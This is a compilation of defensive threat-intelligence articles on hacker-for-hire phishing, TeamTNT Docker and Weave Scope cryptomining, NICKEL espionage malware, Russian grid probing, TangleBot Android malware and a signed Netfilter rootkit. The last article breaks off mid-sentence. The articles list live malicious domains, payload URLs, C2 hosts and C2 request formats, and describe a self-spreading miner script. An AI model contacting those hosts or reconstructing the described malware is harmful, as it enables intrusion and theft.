# SNOWSTORM: Hacker-for-hire and Physical Surveillance Targeted Financial Analyst Posted on 11 June 2020 MDR Cyber has been investigating the use of ‘hackers for hire’ in the private investigations market after a client was attacked in 2016. A Mishcon de Reya client, Matthew Earl, was almost certainly targeted by a hacker-for-hire group named “Dark Basin” in a concerted phishing campaign with the intention of compromising their accounts. We have been tracking this group as “SNOWSTORM” since late 2016. “Dark Basin” (AKA SNOWSTORM) have been publicly linked to the Indian technology company “BellTroX” by University of Toronto cyber research group Citizen Lab in a June 2020 report. As well as the electronic phishing campaign, the client was most likely placed under physical surveillance at a time coinciding with the beginning of the email phishing campaign. The client was a financial analyst holding a short position on a large business entity at the time and was involved in a dispute due to research they had published alleging fraud. The Tactics, Techniques and Procedures (TTPs) used by the cyber-attackers included the use of tailored targeted “spear-phishing” emails, URL shortening techniques, and Amazon AWS cloud infrastructure for delivery of the emails. The group also used commercial marketing email tracking software to monitor the “opened” status of emails sent to targets and to manage the campaign. The TTPs tracked closely to those reported by Citizen Lab and the report listed several domains we identified as linked to SNOWSTORM, strongly suggesting that Dark Basin was responsible for the activity we tracked under the name SNOWSTORM. Although almost certainly illegal, hacking techniques have been used by some unscrupulous private investigators. Compromising email accounts of targets offers interested parties a deep insight into the activities of their target. ## The Citizen Lab Dark Basin Analysis University of Toronto body, The Citizen Lab, have published an extensive analysis on the activities of an alleged hacker-for-hire group they call “Dark Basin”. MDR Cyber have been tracking this group as SNOWSTORM since late 2016 following the targeting of a Mishcon de Reya client. Dark Basin have a wide targeting arc including financial services, legal services, the energy sector and Government bodies. The Citizen Lab assessed that the group were likely engaged in commercial espionage, noting targets included opponents in high-profile public events, criminal cases, financial transactions, news stories, and advocacy. The researchers linked the group “with high confidence” to BellTroX InfoTech Services (“BellTroX”), an Indian technology company. ## The Target One of the Dark Basin campaigns targeted financial journalists, short sellers and hedge funds. Our client Matthew Earl was a financial analyst who had published allegations of fraud at a large business entity at the time and held a short position. Matthew instructed our Reputation Protection team, as he was threatened with defamation proceedings by the firm he was investigating. At the same time as receiving aggressive legal correspondence, he started to receive highly targeted phishing attacks, which attempted to steal credentials. We identified that a specific group was likely behind the attacks. As part of our investigation, we began tracking the group behind the attacks using the name SNOWSTORM. It was likely that the objectives of the attack were to understand if our client had been the recipient of whistleblowing or other inside information or evidence that would substantiate his allegations of fraud. ## Attribution and Links to Private Investigators Our client came under targeted physical surveillance at the same time as the cyber-attacks started, which included an intimidating doorstep visit from high-profile private investigators and overt surveillance. The coordinated cyber and physical surveillance was extremely stressful for our client and his young family, causing fears for their physical security. We cannot determine how SNOWSTORM became involved or who hired them. It is unlikely to be the firm Matthew was investigating as hacker-for-hire groups do not advertise widely. Once we ascertained that private investigators were involved, our team began to look further into the hacking for hire market. Conversely, the information in the targeted emails and the phishing lures could only have come from someone deeply involved in the matter, most probably either the ultimate client or other interested party. This indicates that the hacking operation was being orchestrated as part of a larger campaign. When investigating SNOWSTORM, we were made aware by The Citizen Lab that an Indian firm was involved in hacking for hire. Enquiries by our team in the private investigations market provided anecdotal evidence that a group was being used as part of these types of investigations and was also connected to India supporting their assessment. This led us to the conclusion that an Indian hacking for hire firm was likely being used by private investigators. ## Tactics, Techniques and Procedures We saw an increase in attempts to access our client's account and those of connected family members. This indicated a level of open source intelligence gathering to identify family members, as well as potential password guessing attempts. The group used highly targeted phishing emails with subject matter that directly involved the target. The sender addresses and emails mimicked media organizations. The content of the emails stood out as more tailored and sophisticated than those we usually see, alongside more generic phishing emails. In the attacks we investigated, SNOWSTORM used a public URL-shortener and the emails used a commercial marketing email tracking service to see if the emails had been opened or read. The links contained in the emails led to fake login pages that attempted to capture credentials. ## The Impact Many of the targets of sophisticated cyber-attacks are nameless, or their experience is tempered by being part of an organization which can protect them. We worked closely with Matthew during the incident, and have over the last three and a half years continued to investigate what occurred. Matthew describes the experience of being targeted by the group: "The receipt of aggressive legal correspondence, targeted physical surveillance and sophisticated digital hacking are each, at a singular level, stressful enough. However, the sudden and coordinated combination of all three was traumatising for my family and myself. Especially in light of the scale and significant resources that were used." ## Conclusion Cyber-attacks now affect every industry. It may come as no surprise that errant investigators, who may previously have relied on pretexting or paying for information, have now turned to bringing in cyber expertise. We are grateful to Matthew for continuing to support our investigation. Matthew commented that "A key reason my family managed to get through that period was due to the help and support from Mishcon de Reya, which gave comfort that despite the overwhelming nature of the experience, we were in fact not alone and it could be dealt with." We are continuing to monitor groups who operate in this area along with their use by some elements of the private investigations market. We believe that commercial espionage has the potential to be as high-profile as that conducted by nation states.
# TeamTNT Activity Targets Weave Scope Deployments The cybercrime group TeamTNT has been tracked by various research groups for a while now, with several articles written about their activity focused on Docker workloads. In May, TrendMicro's research team described the group’s attempts to spread cryptocurrency miners via exposed Docker API servers. In August, Aqua Security released an analysis of several images stored under TeamTNT’s Dockerhub account: hildeteamtnt. In this blog, we will share new details about this group and elaborate on another, unknown access vector that the group uses in addition to exposed Docker API servers. Azure Security Center leverages data collected by Microsoft Threat Intelligence Center’s sensor network. In mid-August, several deployments of the image hildeteamtnt/pause-amd64:3.4 were observed in our sensor network. This repository hasn’t been seen in previous known attacks by this group. Another image from that repository, pause-amd64:3.3, was seen as well. In this blog post, we’ll focus on the first image, pause-amd64:3.4, which has more functionality. Microsoft's sensor network exposes an open Docker API server and tracks the connection to this service. The attackers tried to deploy their images via this service, which is consistent with the known behavior of the TeamTNT group that spreads their malware in this method. This image has also been deployed on several Kubernetes clusters. Azure Kubernetes Service (AKS) is a managed Kubernetes service that allows customers to easily deploy a Kubernetes cluster in Azure. Azure Security Center monitors the behavior of the AKS management layer as well as the behavior of the containers themselves to find malicious activity. AKS clusters, as managed services, should not expose Docker API externally. The fact that several clusters were infected by this image might imply that there is an additional access vector used by the group for spreading their malware. Indeed, we discovered an additional access vector that is used by this group, which we will describe later. The image pause-amd64:3.4 has similar functionality to other images used by this group and is focused on running cryptocurrency mining and spreading the malware to other machines. The entry point of the image is `/root/pause`, which is a shell script. The script starts by downloading the main payload: Coin miner (packed with UPX) that is downloaded from: hxxp[://]85.214.149.236:443/sugarcrm/themes/default/images/default.jpg. This server, located in Germany, contains a large number of binaries and malicious scripts used by this group. Some of them were observed in previous campaigns and analyzed before. The miner is saved on the host as `/usr/sbin/docker-update` and executed after allowing its execution and changing its attributes to immutable. The attackers use a service called iplogger.org, which allows them to track the number of infected hosts and get their details. The script enters a loop, in which every iteration invokes the function `pwn()` five times; each invocation differs in the second parameter, which is a destination port. The function itself, which has a very similar version seen in previous malware of the group as described by TrendMicro, retrieves an IP range from the server (first parameter) which returns a different range in every request. The function scans that range for open Docker API endpoints with the open-source tool masscan. The scanned ports are 2375, 2376, 2377, 4243, and 4244. On each exposed endpoint found, the script deploys the same image (pause-amd64:3.4) using the exposed TCP socket. In addition, the script attempts to kill competitor images using `docker rm` commands. The details above refer to the image pause-amd:3.4. The image pause-amd:3.3, also seen in the honeypots, is very similar and contains the same reconnaissance and spreading phase. However, it does not include the execution of the miner itself. This image contains strings in German, which might, like the IP address of the payload server, point to the origin of the group. As mentioned, that image was also observed on several AKS clusters, which are managed Kubernetes clusters. In such a scenario, it is less likely that the Docker API service will be exposed to the Internet, as the AKS nodes are configured with the proper configuration of the Docker server. Therefore, we could assume that the attackers had a different access vector in those incidents. When we looked for the common deployments of the various Kubernetes clusters infected by this image, we noticed that all of them have an open Weave Scope service. Weave Scope is a popular visualization and monitoring framework for containerized environments. Among other features, Weave Scope shows the running processes and the network connections of the various containers. In addition, Weave Scope allows users to run shell on the pods or nodes in the cluster (as root). Since Weave Scope does not use any authentication by default, exposure of this service to the Internet poses a severe security risk. Still, we see cluster administrators enabling public access to this interface, as well as other similar services. Attackers, including this group, take advantage of this misconfiguration and use the public access to compromise Kubernetes clusters. This is not the first time we detect a campaign targeting exposed sensitive interfaces to the Internet. In June, we revealed a large-scale attack that exploited exposed Kubeflow dashboards. In both cases, a high-impact service that allows code execution on the containers or underlying nodes is openly exposed to the Internet. Misconfigured services seem to be among the most popular and dangerous access vectors when it comes to attacks against Kubernetes clusters. ## How Azure Security Center Protects Customers Azure Security Center (ASC) detects this attack, as well as similar attacks, both in the Kubernetes management layer and in the node-level: ### Management Layer Protection 1. ASC automatically detects sensitive services exposed to the Internet. In this incident, ASC detected the exposed Weave Scope service. Detecting exposure of such services immediately when they occur is crucial to prevent their exploitation. 2. ASC detects deployments of malicious containers in AKS clusters. The detection covers the images used in this attack. ASC uses data from Microsoft Threat Intelligence Center’s sensor network to continuously expand its coverage and detect recent attacks in the wild. ### Node Level Protection 1. ASC detects Docker API services that are openly accessible to the Internet. 2. ASC detects malicious behavior on the nodes, including cryptocurrency mining activity. ## Recommendations 1. Azure Policy for Kubernetes can be used to restrict and audit sensitive actions in the cluster such as deploying images from public repositories, deployment of privileged containers, etc. For more information, see the documentation. Integration with Azure Security Center will be available soon. Policies such as the following can prevent similar incidents: “Privileged containers should be avoided” and “Container images should be deployed from trusted registries only.” ## IoCs - hxxp://85[.]214[.]149[.]236:443/sugarcrm/themes/default/images/default.jpg - hxxp://rhuancarlos[.]inforgeneses[.]inf[.]br/index.php - hildeteamtnt/pause-amd64:3.4 - hildeteamtnt/pause-amd64:3.3 - sha256:c88b9f32c143ee78b215b106320dbe79e28d39603353b0b9af2c806bcb9eb7b6 - sha256:340d9af58a3b3bedaae040ce9640dd3a9a8c30ddde2c85fb7aa28d2bff2d663e - sha256:139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375 - sha256:68ad2df23712767361d17a55ee13a3b482bee5a07ea3f3741c057db24b36bfce **Update (September 10th, 2020):** Following the attack, Weaveworks has released a blog post about how to secure Weave Scope deployments and avoid this and similar attacks that use Weave Scope.
# NICKEL Targeting Government Organizations Across Latin America and Europe The Microsoft Threat Intelligence Center (MSTIC) has observed NICKEL, a China-based threat actor, targeting governments, diplomatic entities, and non-governmental organizations (NGOs) across Central and South America, the Caribbean, Europe, and North America. MSTIC has been tracking NICKEL since 2016 and observed some common activity with other actors known in the security community as APT15, APT25, and KeChang. Today, the Microsoft Digital Crimes Unit (DCU) announced the successful seizure of a set of NICKEL-operated websites and disruption of their ongoing attacks targeting organizations in 29 countries, following a court order from the U.S. District Court for the Eastern District of Virginia granting Microsoft the authority to seize these sites. MSTIC has tracked the current NICKEL operations, including attacks against government organizations, diplomatic entities, and NGOs, since September 2019. During this time, NICKEL activity has been observed across several countries, with a large amount of activity targeting Central and South American governments. Notably, NICKEL has achieved long-term access to several targets, allowing them to conduct activities such as regularly scheduled exfiltration of data. As China’s influence around the world continues to grow and the nation establishes bilateral relations with more countries and extends partnerships in support of China’s Belt and Road Initiative, we assess that China-based threat actors will continue to target customers in government, diplomatic, and NGO sectors to gain new insights, likely in pursuit of economic espionage or traditional intelligence collection objectives. **Targeted Countries:** Argentina, Barbados, Bosnia and Herzegovina, Brazil, Bulgaria, Chile, Colombia, Croatia, Czech Republic, Dominican Republic, Ecuador, El Salvador, France, Guatemala, Honduras, Hungary, Italy, Jamaica, Mali, Mexico, Montenegro, Panama, Peru, Portugal, Switzerland, Trinidad and Tobago, United Kingdom, United States of America, Venezuela. As with any observed nation-state actor activity, Microsoft continues to notify customers that have been targeted or compromised, providing them with the information they need to help secure their organizations. To reduce the potential impact of this NICKEL activity, Microsoft encourages our customers to immediately review the activity and guidance below, then implement risk mitigations, harden environments, and investigate suspicious behaviors that match the tactics described in this blog. MSTIC will continue to observe, monitor, and notify affected customers and partners, when possible, through our nation-state notification process. ## Observed Activity MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. NICKEL actors created and deployed custom malware that allowed them to maintain persistence on victim networks over extended periods of time. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks. NICKEL successfully compromises networks using attacks on internet-facing web applications running on unpatched Microsoft Exchange and SharePoint. They also attack remote access infrastructure, such as unpatched VPN appliances, as referenced in the FireEye April 2021 blog detailing a 0-day vulnerability in Pulse Secure VPN that has since been patched. After gaining an initial foothold on a compromised system, the NICKEL actors routinely performed reconnaissance on the network, working to gain access to additional accounts or higher-value systems. NICKEL typically deployed a keylogger to capture credentials from users on compromised systems. We’ve observed NICKEL using Mimikatz, WDigest (an older authentication method that allows the attacker access to credentials in clear text), NTDSDump, and other password dumping tools to gather credentials on a targeted system and from target browsers. ## Deploying Malware for Command and Control MSTIC tracks multiple malware families used by NICKEL for command and control as Neoichor, Leeson, NumbIdea, NullItch, and Rokum. The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers. Due to their reliance on IE, these malware families intentionally configure the browser settings by modifying specific registry entries. When connecting to the C2 servers, the URL requests follow these formats: - http://<C2>?id=<5-digit-rand><system-specific-string> - http://<C2>?setssion==<rand><GetTickCount> - http://<C2>?newfrs%dsetssion=<rand><GetTickCount> - http://<C2>/index.htm?content=<base64-system-specific-string>&id=<num> A typical response from the C2 server is a legitimate-looking webpage containing the string “!DOCTYPE html”, which the malware checks. The malware then locates a Base64-encoded blob, which it decodes and proceeds to load as shellcode. For the Neoichor family, the malware checks for internet connectivity by contacting bing.com with the request format bing.com?id=<GetTickCount> and drops files as ~atemp and ~btemp containing error codes and debug resources. The NICKEL implants are backdoors capable of collecting system information, such as: - IP address - OS version - System language ID - Computer name - Signed-in username They implement basic backdoor functionalities, including: - Launching a process - Uploading a file - Downloading a file - Executing a shellcode in memory MSTIC has observed NICKEL drop their malware into existing installed software paths. They did this to make their malware appear to be files used for an installed application. ## Using Compromised Credentials for Routine Email Collection NICKEL used compromised credentials to sign into victims’ Microsoft 365 accounts through normal sign-ins with a browser and the legacy Exchange Web Services (EWS) protocol to review and collect victim emails. MSTIC has observed successful NICKEL sign-ins to compromised accounts through commercial VPN providers as well as from actor-controlled infrastructure. Evidence of routine host data collection includes looking in directories of interest for new files added since the last time they collected data. After collecting the data in a central directory, the attackers then used either a renamed rar.exe or 7z.exe to archive the files. NICKEL also frequently used keyboard walks as a password for their archived data collections. ## Recommended Defenses The following guidance can help mitigate the techniques and threat activity described in this blog: - Block legacy authentication protocols in Azure Active Directory – especially Exchange Web Services (EWS). - Enable multi-factor authentication to mitigate compromised credentials. - Use passwordless solutions like Microsoft Authenticator to secure accounts. - Review and enforce recommended Exchange Online access policies. - Block all incoming traffic from anonymizing services, where possible. - Turn on the following attack surface reduction rule to block or audit activity associated with this threat: - Block credential stealing from the Windows local security authority subsystem (lsass.exe). ## Indicators of Compromise (IOCs) **Type** | **Indicator** --- | --- SHA-256 | 02daf4544bcefb2de865d0b45fc406bee3630704be26a9d6da25c9abe906e7d2 SHA-256 | 0a45ec3da31838aa7f56e4cbe70d5b3b3809029f9159ff0235837e5b7a4cb34c SHA-256 | 0d7965489810446ca7acc7a2160795b22e452a164261313c634a6529a0090a0c SHA-256 | 10bb4e056fd19f2debe61d8fc5665434f56064a93ca0ec0bef946a4c3e098b95 SHA-256 | 12d914f24fe5501e09f5edf503820cc5fe8b763827a1c6d44cdb705e48651b21 SHA-256 | 1899f761123fedfeba0fee6a11f830a29cd3653bcdcf70380b72a05b921b4b49 SHA-256 | 22e68e366dd3323e5bb68161b0938da8e1331e4f1c1819c8e84a97e704d93844 SHA-256 | 259783405ec2cb37fdd8fd16304328edbb6a0703bc3d551eba252d9b450554ef SHA-256 | 26debed09b1bbf24545e3b4501b799b66a0146d4020f882776465b5071e91822 SHA-256 | 35c5f22bb11f7dd7a2bb03808e0337cb7f9c0d96047b94c8afdab63efc0b9bb2 SHA-256 | 3ae2d9ffa4e53519e62cc0a75696f9023f9cce09b0a917f25699b48d0f7c4838 SHA-256 | 3bac2e459c69fcef8c1c93c18e5f4f3e3102d8d0f54a63e0650072aeb2a5fa65 SHA-256 | 3c0bf69f6faf85523d9e60d13218e77122b2adb0136ffebbad0f39f3e3eed4e6 SHA-256 | 3dc0001a11d54925d2591aec4ea296e64f1d4fdf17ff3343ddeea82e9bd5e4f1 SHA-256 | 3fd73af89e94af180b1fbf442bbfb7d7a6c4cf9043abd22ac0aa2f8149bafc90 SHA-256 | 6854df6aa0af46f7c77667c450796d5658b3058219158456e869ebd39a47d54b SHA-256 | 6b79b807a66c786bd2e57d1c761fc7e69dd9f790ffab7ce74086c4115c9305ce SHA-256 | 7944a86fbef6238d2a55c14c660c3a3d361c172f6b8fa490686cc8889b7a51a0 SHA-256 | 926904f7c0da13a6b8689c36dab9d20b3a2e6d32f212fca9e5f8cf2c6055333c SHA-256 | 95e98c811ea9d212673d0e84046d6da94cbd9134284275195800278593594b5a SHA-256 | a142625512e5372a1728595be19dbee23eea50524b4827cb64ed5aaeaaa0270b SHA-256 | afe5e9145882e0b98a795468a4c0352f5b1ddb7b4a534783c9e8fc366914cf6a SHA-256 | b9027bad09a9f5c917cf0f811610438e46e42e5e984a8984b6d69206ceb74124 SHA-256 | c132d59a3bf0099e0f9f5667daf7b65dba66780f4addd88f04eecae47d5d99fa SHA-256 | c9a5765561f52bbe34382ce06f4431f7ac65bafe786db5de89c29748cf371dda SHA-256 | ce0408f92635e42aadc99da3cc1cbc0044e63441129c597e7aa1d76bf2700c94 SHA-256 | ce47bacc872516f91263f5e59441c54f14e9856cf213ca3128470217655fc5e6 SHA-256 | d0fe4562970676e30a4be8cb4923dc9bfd1fca8178e8e7fea0f3f02e0c7435ce SHA-256 | d5b36648dc9828e69242b57aca91a0bb73296292bf987720c73fcd3d2becbae6 SHA-256 | e72d142a2bc49572e2d99ed15827fc27c67fc0999e90d4bf1352b075f86a83ba Domain name | beesweiserdog[.]com Domain name | bluehostfit[.]com Domain name | business-toys[.]com Domain name | cleanskycloud[.]com Domain name | cumberbat[.]com Domain name | czreadsecurity[.]com Domain name | dgtresorgouv[.]com Domain name | dimediamikedask[.]com Domain name | diresitioscon[.]com Domain name | elcolectador[.]com Domain name | elperuanos[.]org Domain name | eprotectioneu[.]com Domain name | fheacor[.]com Domain name | followthewaterdata[.]com Domain name | francevrteepress[.]com Domain name | futtuhy[.]com Domain name | gardienweb[.]com Domain name | heimflugaustr[.]com Domain name | ivpsers[.]com Domain name | jkeducation[.]org Domain name | micrlmb[.]com Domain name | muthesck[.]com Domain name | netscalertech[.]com Domain name | newgoldbalmap[.]com Domain name | news-laestrella[.]com Domain name | noticialif[.]com Domain name | opentanzanfoundation[.]com Domain name | optonlinepress[.]com Domain name | palazzochigi[.]com Domain name | pandemicacre[.]com Domain name | papa-ser[.]com Domain name | pekematclouds[.]com Domain name | pipcake[.]com Domain name | popularservicenter[.]com Domain name | projectsyndic[.]com Domain name | qsadtv[.]com Domain name | sankreal[.]com Domain name | scielope[.]com Domain name | seoamdcopywriting[.]com Domain name | slidenshare[.]com Domain name | somoswake[.]com Domain name | squarespacenow[.]com Domain name | subapostilla[.]com Domain name | suzukicycles[.]net Domain name | tatanotakeeps[.]com Domain name | tijuanazxc[.]com Domain name | transactioninfo[.]net Domain name | eurolabspro[.]com Domain name | adelluminate[.]com Domain name | headhunterblue[.]com Domain name | primenuesty[.]com ## Detections **Microsoft 365 Defender** - **Antivirus**: Microsoft Defender Antivirus detects threat components as the following malware: - Backdoor:Win32/Leeson - Trojan:Win32/Kechang - Backdoor:Win32/Nightimp!dha - Trojan:Win32/Rokum - TrojanSpy:Win32/KeyLogger **Endpoint Detection and Response (EDR)** Alerts with the following titles in the security center can indicate NICKEL threat activity on your network: - NICKEL activity group - Malware associated with NICKEL activity group - Communication with NICKEL infrastructure The following alerts may also indicate threat activity associated with NICKEL but may also be triggered by unrelated threat activity: - Mimikatz credential theft tool - Suspected credential theft activity - Malicious credential theft tool execution detected - Sensitive credential memory read - Password hashes dumped from LSASS memory - Suspicious credential dump from NTDS.dit - Compression of sensitive data - Staging of sensitive data - Suspicious process transferring data to external network - Possible data exfiltration through multiple egress points Microsoft 365 Defender correlates related alerts into consolidated incidents to help customers determine with confidence if observed alerts are related to this activity. ## Advanced Hunting Queries **Microsoft Sentinel** The indicators of compromise (IOCs) included in this blog post can be used by Microsoft Sentinel customers for detection purposes using the queries detailed below. - **Match known NICKEL domains and hashes**: This query matches domain name, hash IOCs and Microsoft 365 Defender signatures related to the NICKEL activity group with CommonSecurityLog, DnsEvents, VMConnection and SecurityEvents dataTypes. - **Identify NICKEL registry modifications patterns**: This query identifies instances where NICKEL malware intentionally configures the browser settings for its use by modifying registry entries. - **Hunt for NICKEL Command Line Activity**: This query looks for process command line activity related to data collection and staging observed being used by NICKEL. It hunts for use of tools such as xcopy and renamed archiving tools used for data collection and staging on the hosts with signatures observed in NICKEL activity. - **Surface WDigest authentication changes**: Use this query to look for alerts related to enabling WDigest Authentication, which allows attackers to dump credentials in clear text. - **Surface discovery activity**: Use this query to surface potential NICKEL discovery activity.
# Russian Hackers Haven't Stopped Probing the US Power Grid *Lily Hay Newman* *November 28, 2018* In recent years, hacks against the power grid have gone from a mostly theoretical risk to a real-world problem. Two large-scale blackouts in Ukraine caused by Russian cyberattacks in 2015 and 2016 showed just how feasible it is. But grid hacking comes in less dramatic forms as well—which makes Russia's continued probing of US critical infrastructure all the more alarming. At the CyberwarCon forum in Washington, DC, researchers from threat intelligence firm FireEye noted that while the US grid is relatively well-defended and difficult to hit with a full-scale cyberattack, Russian actors have nonetheless continued to benefit from their ongoing vetting campaign. "There’s still a concentrated Russian cyber espionage campaign targeting the bulk of the US electrical grid," says FireEye analyst Alex Orleans. "The grid is still getting hit." FireEye calls the Russia-linked hacking group that has been targeting the US grid "TEMP.Isotope." It's also known as Dragonfly 2.0, or Energetic Bear. The group mostly uses generic hacking tools and techniques created by other actors—a strategy known as "living off the land"—to minimize development time and costs, while also making it harder to identify and track its movements. But TEMP.Isotope has also created at least one custom system backdoor and often uses spearphishing and infected websites to compromise targets. The group has brought these tools to bear against the US grid in a patient and methodical way. US infrastructure does have some advantages here. In the wake of the massive 2003 Northeastern blackout, utilities implemented resilience and defense standards known as the North American Electric Reliability Corporation Critical Infrastructure Protection requirements, more digestibly referred to as NERC CIP. These created minimum baselines for defending against and dealing with natural disasters, but also promoted best practices for network defense, including two-factor authentication, network segmentation, data storage protections, and strict access controls for both network owners and third parties. All of these protections combined have hardened electricity generation and transmission systems against attack. But not all segments of the grid are held to those standards. Distribution entities, which often subcontract with larger organizations to deliver power locally, often lack adequate resources and defenses. While hackers may have a harder time fully compromising more formidable targets, they can still achieve many of their goals through persistent probing. In many ways, TEMP.Isotope's actions are in the interest not of triggering large-scale blackouts, but of traditional intelligence-gathering. The group seems to deliver information that can be used both to expand Russian energy capabilities and to vet US systems for weaknesses that could potentially be exploited in attacks. The FireEye researchers point out that the canvassing also serves other more subtly aggressive counterintelligence goals. "All of this threat activity you see from actors like Isotope requires defensive responses from incident responders, threat intelligence within a given organization, all the way up to potentially governments," Orleans says. "So you have this ripple upward and outward. And this counterintelligence is for the purpose of frustrating your adversary. Utilities are the adversary for active threat Isotope, so wearing them down through activity, creating anxiety, fulfills what is in counterintelligence terminology known as 'degradation.'" If you can sow discord, confusion, and fatigue, you can attack an adversary by frustrating them rather than by masterminding an all-out physical assault. Though grid hacking may not have yet reached a boiling point in the US, the FireEye researchers warn that consistent probing should be taken as seriously as dramatic attacks. This is particularly true given that the security community has seen hints over the years of potential US grid probing activity from other countries as well, including Iran and North Korea. For now, though, the FireEye researchers say Russian state-sponsored hackers are the ones to watch in the US grid. "The most consistent people are likely the Russians," Orleans says. "And I also think we likely haven’t fully uncovered the extent to which they have gotten into the wires."
# Mobile Malware: TangleBot Untangled **Key Takeaways** - TangleBot is leveraging COVID-19 and electricity-themed lures to convince users to click on malicious links and install the malware. - The SMS links are only malicious via Android mobile devices and are currently only being sent to US and Canadian users. - TangleBot, while sharing some similarities with the Medusa malware, has key distinguishing features that make it particularly threatening, such as its advanced behaviors and transmission abilities and its use of a string decryption routine as part of its obfuscation. ## Overview On the heels of a busy summer tracking the rapid spread of FluBot mobile malware across Europe and Australia, Proofpoint researchers have observed yet another malware campaign, dubbed TangleBot, designed to steal mobile users’ sensitive information. TangleBot started off using popular Covid-themed lures to trick Android users in Canada and the United States into installing malware on their devices. Proofpoint threat analysts recently covered a high-level overview of TangleBot on the Cloudmark blog, warning mobile users of this threat. In this blog, researchers dive into the malware, detailing what makes it interesting and why it has been coined TangleBot. Proofpoint took notice of this malware prior to widespread distribution and worked with partners at Google to ensure Google Play Protect adequately detects the software, helping ensure protection for the greater global community. ## The SMS Lure Proofpoint analysts first detected this attack in early September 2021. The initial lures came in the form of Covid-19 SMS messages masquerading as legitimate medical notifications. The messages contained links to URLs pertaining to Covid-19 or vaccine information and appeared legitimate to unsuspecting users. A follow-up campaign has been detected using messaging related to a potential power outage and targeting users of hydroelectric plants across the United States and Canada. ## Installation If users click the link contained within the text message, threat actors advise users that Adobe Flash Player needs an update to display the content. There is no need to worry that Adobe stopped supporting this product after December 31, 2020, or that Adobe Flash Player has not been supported on any mobile device since 2012. Threat actors play on this lack of understanding to help eliminate unsatisfactory targets who may uncover the ruse too quickly. Unsuspecting users are presented a series of dialogue boxes requesting acceptance of the permissions and installation from unknown sources. Proofpoint analysts counted no less than nine dialogue boxes that users must click prior to the full installation of the malware. ## Permissions TangleBot requests access to many permissions allowing for eavesdropping and the exfiltration of sensitive data. These permissions grant the ability for the malware to modify device configuration settings, record user activity, track location, and transmit the stolen information back to systems controlled by the threat actor. ## Behind the Scenes Outside of the observable malware behavior, several activities take place, including the setup and configuration of the malware, and the capabilities of the threat actor post-infection. ### Command and Control (C2) - Setup The threat actor uses social media messaging to deliver covert C2 infrastructure information to infected devices. The messaging in the detected sample arrives via Telegram but could easily be replaced by another online service of the threat actor’s choice. The information is disseminated within cryptic posts that would be unrecognizable without proper context. The malware contacts defined patterns within the specified social media pages. ### Command and Control (C2) – Commands After establishing connectivity with the infected device, dozens of instructions are used to interact with and exfiltrate data and other sensitive information. Specific instructions allow for the control and monitoring of infected devices, manipulation of user data and browser activity, and the theft of confidential information. ### Functionality TangleBot allows the threat actor full control over infected devices. The control afforded by the malware allows for the monitoring and recording of all aspects of user activity, including websites visited, collection of typed passwords, audio and video from the microphone/camera, and can harvest data including SMS activity and stored content. ### HTML Injection HTML injection is used to generate fake application overlay screens. These screens may perfectly resemble the login pages of financial institutions and are designed to compromise the credentials of unsuspecting users. ### GPS Location Services TangleBot uses GPS location data that enables actors to identify the location of the device, which helps deliver relevant attack data based on geography, language, or other criteria chosen by the threat actor. ### Voice Recording Several components are used for voice recording using the microphone. Audio is recorded at times determined by the threat actor and the collected content is transmitted via RTSP to threat actor-controlled systems. The purpose of voice recording is multifaceted and can introduce the risk of second-order effects or impacts. ### Make a Call Another capability uncovered within the TangleBot functionality is the ability to place a call from the victim device. This capability could be used to dial premium services resulting in financial loss or use the device to initiate a call impersonating the victim. ## A New Evolution in Familiar Malware TangleBot shares some similar behaviors with another piece of malware, Medusa. Those researchers have produced a detailed write-up containing additional information not covered in this blog. We distinguish between that campaign and this one because of interesting malware characteristics not previously seen in Medusa-related SMS campaigns. TangleBot sets itself apart with advanced behaviors and transmission capabilities, while showcasing the latest evolutions in malware attempting to thwart biometric voice-authentication security systems. ## TangleBot Name Proofpoint researchers chose the name TangleBot to represent this malware due to the many obfuscation layers used to hide the purpose and functionality of the software. The malware uses various obfuscating techniques including hidden .dex files, modular and functional design characteristics, minified code, and excessive unused code. ## Outlook If the Android ecosystem has shown us anything this summer, it is that the Android landscape is rife with clever social engineering, outright fraud, and malicious software all designed to deceive and steal mobile users’ money and other sensitive information. These schemes can appear quite convincing and may play on fears or emotions that cause users to let down their guard. **Indicators of Compromise** - Filename(s): Flash_Player.apk - MD5: 5E176F2514481137618DB5592FD84D13, 2F0693ADF07EB36220C04F1DE2385029 - Package name: com.ltjkqj.erfycvar, com.ltrmht.nfzyqttg - MainActivity pkg names: com.ltjkqj.erfycvar.MainActivity - Icon: YouTube - Server: sock.godforgiveuss.live - Port: 20027, 172.107.133.201:20027
# Fast Insights for a Microsoft-Signed Netfilter Rootkit News broke in June about a malicious Netfilter rootkit signed by Microsoft. This was significant in that Windows machines only run drivers with valid signatures. Since drivers can obtain the maximum level of permissions on a machine, they are gold for any threat actor who can obtain such access. Thanks to malware analysts like Karsten Hahn, additional samples of this malware dating back to March were uncovered, along with details on how they operate. Let’s look at the genetic analysis of these samples to see how you can quickly identify them as Netfilter rootkit, as well as understand their capabilities and obtain similar artifacts despite the valid signature. The Netfilter rootkit was found in a driver signed by Microsoft. This rare technique bypasses defenses, such as Antivirus tools, by making the file appear legitimate, despite the fact that it is tampered with malicious code. Obfuscated strings were also found in this file, which is very uncommon for a legitimate file. When the file is executed, other URLs can be identified, each with a specific purpose, including redirecting infected endpoints to other IP addresses; for self-updating the malware and receiving the valid root certificate. Detection of malware with valid signatures is challenging. Since these samples are signed legitimately by Microsoft, even Antivirus software can be fooled into trusting them. An analyst could try investigating the abnormal network connections made to the URLs during execution. The URLs might be useful for this variant but there is no way of telling what changes could be made to URLs in future malware variants, or whether the external server the rootkit connects to is hidden from network detection tools through methods such as DynDNS or proxies. Not to mention, how do you know the full extent of the capabilities in the driver? Once a rootkit is executed, it will totally own a machine with maximum permissions, hiding its activities from even endpoint detection solutions. Let’s take a look at the analysis of the Netfilter Dropper sample referenced in the aforementioned article. With Intezer Analyze you can analyze malware threats in seconds, with every tool you need to do so in one place: genetic code analysis, sandboxing, memory analysis, and static analysis. The original file is classified as Netfilter rootkit, where an analysis of the code finds that the file shares 41 code genes, or about 81% of its code, with previously identified Netfilter rootkit samples. It is clear that although the uploaded dropper has a valid signature, the code itself is identified as malicious and belongs to the Netfilter rootkit. Sometimes, an analysis isn’t always this easy. Files can be obfuscated by being packed, encoded, or 